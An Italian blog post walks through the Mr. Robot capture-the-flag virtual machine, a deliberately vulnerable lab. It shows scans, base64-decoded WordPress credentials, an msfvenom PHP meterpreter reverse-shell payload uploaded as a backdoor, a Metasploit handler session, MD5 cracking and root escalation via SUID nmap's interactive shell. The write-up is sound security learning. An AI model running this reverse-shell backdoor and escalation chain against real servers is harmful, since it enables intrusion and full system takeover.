Ovviamente non mi riferisco proprio alla serie tv, ma piuttosto ad una macchina virtuale appartenente alla meravigliosa categoria delle CTF, ovvero Capture The Flag. In parole povere si tratta di macchine virtuali contenenti delle vulnerabilità messe intenzionalmente lì per essere scoperte.

Nella fattispecie la macchina virtuale a cui mi riferisco si chiama proprio Mr. Robot, con evidente riferimento alla serie TV.

Si chiamano CTF proprio perchè all’interno delle macchine sono presenti una o più “bandierine” che devono essere trovate dall’hacker.

E’ un ottimo metodo per testare le proprie capacità di pentester.Mr.Robot si può scaricare gratuitamente a questo link.

Funziona anche sul VMWare Player, che è gratuito e una volta avviata è pronta per l’uso.

Ovviamente si tratta di una macchina della quale non abbiamo niente, nè credenziali, nè indizi… nulla… ma è proprio questo il bello, dobbiamo trovarli.

Per prima cosa dobbiamo individuare quale indirizzo IP è stato assegnato alla macchina. Lanciamo uno scan con nmap con la seguene sintassi

 

nmap -sn 192.168.1.0/24

nel mio caso la macchina risponde all’indirizzo 192.168.1.3

a questo punto vediamo quali servizi sono aperti e disponibili

 

nmap -sS 192.168.1.3

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-10 22:36 CEST
Nmap scan report for linux.station (192.168.1.3)
Host is up (0.0059s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https
MAC Address: 00:0C:29:97:92:43 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.16 seconds

ok, abbiamo di fronte un web server. Visitando la home page si vede una sorta di video interattivo, poco utile per il nostro scopo. Proviamo quindi a far girare nikto per vedere se trova cose interessanti

 

nikto -h 192.168.1.3

---------------------------------------------------------------------------
+ Target IP:          192.168.1.3
+ Target Hostname:    192.168.1.3
+ Target Port:        80
+ Start Time:         2016-10-10 22:38:30 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad 
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php

noto che è presente il file robots.txt… interessante, andiamo a vedere cosa contiene

 

User-agent: *
fsocity.dic
key-1-of-3.txt

cavolo, abbiamo già trovato la prima chiave? vediamo se è vero. Puntiamo il nostro browser su http://192.168.1.3/key-1-of-3.txt e visualizziamo il seguente output

 

073403c8a58a1f80d943455fb30724b9

bene, la prima bandierina è stata trovata, non è stato difficile, ma immagino che più avanti il gioco si farà duro.

Insieme alla chiave vedo che è presente un file che ha tutta l’aria di essere un dizionario, ma a cosa servirà?

decido di lanciare un altro scan ma questa volta utilizzando il tool uniscan con la seguente sintassi

 

uniscan -qweds -u http://192.168.1.3

####################################
# Uniscan project                  #
# http://uniscan.sourceforge.net/  #
####################################
V. 6.3


Scan date: 10-10-2016 22:45:41
===================================================================================================
| Domain: http://192.168.1.3/
| Server: Apache
| IP: 192.168.1.3
===================================================================================================
|
| Directory check:
| [+] CODE: 200 URL: http://192.168.1.3/Image/
| [+] CODE: 200 URL: http://192.168.1.3/admin/
| [+] CODE: 200 URL: http://192.168.1.3/feed/
| [+] CODE: 200 URL: http://192.168.1.3/image/
| [+] CODE: 200 URL: http://192.168.1.3/login/
| [+] CODE: 200 URL: http://192.168.1.3/rss/
| [+] CODE: 200 URL: http://192.168.1.3/wp-login/
| [+] CODE: 200 URL: http://192.168.1.3/wp-admin/
===================================================================================================

beh.. abbiamo un’informazione molto importante: si tratta di un portale wordpress, lo si intuisce facilmente dalla presenza delle directory wp-login e wp-admin. Puntando infatti col browser l’URL http://192.168.1.3/wp-admin ci troviamo di fronte alla schermata di autenticazione di wordpress. Il dizionario serve molto probabilmente a forzare la password… ma quale utente?

Provo admin… ma wordpress mi dice che l’utente non è valido, quindi inesistente. Questa è un’informazione importante perchè posso sapere se un utente esiste o no.

Decido di provare con wpscan cercando di enumerare gli utenti ma non ottengo nulla.

Provo a pensare, cerco di farmi venire qualcosa in mente, ricontrollo l’output dei vari scan che ho lanciato e noto che uniscan mi ha fornito anche questo output

 

===================================================================================================
|                                                                                                   
| File check:
| [+] CODE: 200 URL: http://192.168.1.3/admin/index.html
| [+] CODE: 200 URL: http://192.168.1.3/admin/index.php
| [+] CODE: 200 URL: http://192.168.1.3/favicon.ico
| [+] CODE: 200 URL: http://192.168.1.3/index.html
| [+] CODE: 200 URL: http://192.168.1.3/index.html%20
| [+] CODE: 200 URL: http://192.168.1.3/index.php
| [+] CODE: 200 URL: http://192.168.1.3/license.txt
| [+] CODE: 200 URL: http://192.168.1.3/readme
| [+] CODE: 200 URL: http://192.168.1.3/readme.html
| [+] CODE: 200 URL: http://192.168.1.3/robots.txt
| [+] CODE: 200 URL: http://192.168.1.3/search/htx/sqlqhit.asp
| [+] CODE: 200 URL: http://192.168.1.3/search/htx/SQLQHit.asp
| [+] CODE: 200 URL: http://192.168.1.3/search/SQLQHit.asp
| [+] CODE: 200 URL: http://192.168.1.3/search/sqlqhit.asp
| [+] CODE: 200 URL: http://192.168.1.3/sitemap.xml
===================================================================================================

ci sono una serie di file che possono essere interessanti. Tra i vari scorgo il license.txt, che, sorprendentemente, contiene il riferimento ad una password, presentandola col seguente output

 

what you do just pull code from Rapid9 or some [email protected]#% since when did you become a script kitty?



do you want a password or something?



ZWxsaW90OkVSMjgtMDY1Mgo=

Ok.. sembra un hash, ma di che tipo? Hashid non me lo identifica… rimango un attimo perplesso, poi penso che si possa trattare di un’altra codifica e mi viene in mente il base64. Apro in browser su uno dei tanti siti che fanno codifica e decodifica del base64, glielo dò in pasto e sorprendentemente ricevo questo output

 

elliot:ER28-0652

Che possano trattarsi delle credenziali di wordpress? Provo ed in effetti funziona, sono dentro l’interfaccia di amministrazione di wordpress!!

Capisco che mi manca poco per avere una shell, devo riuscire a fare l’upload di una backdoor ed il gioco è fatto. Creo la mia reverse tcp con il seguente comando

 

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.11 LPORT=8080 -f raw > shell.php

Ebbene si, decido di utilizzare metasploit per avere più opzioni una volta dentro.

L’interfaccia di wordpress non mi permette di fare l’upload di file, per cui decido di installare al volo un plugin che mi consenta di farlo. Effettuo così l’upload del file shell.php.

Preparo la mia macchina metasploit configurando il modulo exploit/multi/handler per essere in ascolto sulla porta 8080 e ovviamente utilizzando come payload php/meterpreter_reverse_tcp

apro il browser e punto a http://192.168.1.3/shell.php

 

 =[ metasploit v4.12.30-dev ]
+ -- --=[ 1585 exploits - 904 auxiliary - 273 post ]
+ -- --=[ 457 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter_reverse_tcp
PAYLOAD => php/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.11:8080 
msf exploit(handler) > [*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.1.11:8080 -> 192.168.1.3:46585) at 2016-10-10 23:06:54 +0200

benissimo! Abbiamo una sessione meterpreter! proviamo a interagire con la sessione

 

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: daemon (1)

ok, non siamo root, ma comunque dovremmo poter fare qualcosa. invoco una shell remota e inizio a girovagare

dò il comando cat /etc/passwd per vedere gli utenti presenti sul sistema e vengo subito attratto dall’ultima riga

 

robot:x:1002:1002::/home/robot:

c’è un utente robot che mi incuriosisce, mi sposto sulla sua home directory e ne visualizzo il contenuto

 

total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

ehilà quante cose interessanti. Abbiamo trovato la seconda chiave ed un file di password in MD5!

Provando a visualizzare il file con la chiave numero 2 veniamo respinti… il file è di proprietà dell’utente robot. Il file contenente la password però è leggibile e presenta il seguente contenuto

 

robot:c3fcd3d76192e4007dfb496cca67e13b

è evidente che si tratti della password dell’utente robot. Sottopongo l’hash ad un online cracker, il quale trova immediatamente la corrispondenza in

 

abcdefghijklmnopqrstuvwxyz

Il servizio ssh non è disponibile e da metasploit non posso effettuare il login con un altro utente perchè la shell non è associata a nessun tty. Mi rimane la console vmware per loggarmi e uso quella.

La password funziona! Sono dentro e a questo punto posso visionare la seconda chiave.. rimane la terza, la più difficile e so già che dovrò fare privilege escalation per raggiungerla.

Inizio a caricare exploit su exploit sulla macchina ma nessuno funziona. Devo ammettere che questo step mi ha tenuto impegnato per un bel po’ prima che riuscissi a venirne a capo.

L’intuizione mi è venuta pensando ai cosiddetti file SETUID, cioè quei file che, in esecuzione, danno temporaneamente la possibilità di godere dei privilegi di superuser. Potendo sfruttarne uno forse posso riuscire ad ottenere quello che voglio.

Faccio una ricerca dei file SETUID presenti sul sistema tramite il seguente comando

 

find / -perm -4000

Noto che stranamente è presente nmap. Questo è molto strano, non succede mai che nmap abbia questo tipo di permessi settati, oltretutto non è aggiornato all’ultima versione.

Nmap permetteva una volta di invocare la modalità interattiva, tramite la quale era possibile dare dei comandi manualmente una volta entrati nel prompt.

Tra i vari comandi possibili c’è quello di apertura di una shell… proviamo a vedere cosa succede. Una volta lanciato nmap con il comando

 

nmap --interactive

provo a invocare la shell con il seguente comando

 

\! sh

mi ritorna un prompt molto promettente. Dò il comando “id” e il sistema mi dice che sono root! A questo punto ho i privilegi necessari per accedere alla directory /root e infatti è lì che trovo la terza e ultima bandierina! Missione compiuta, ho hackerato Mr. Robot!

 

 

 

Rispondi

%d blogger hanno fatto clic su Mi Piace per questo: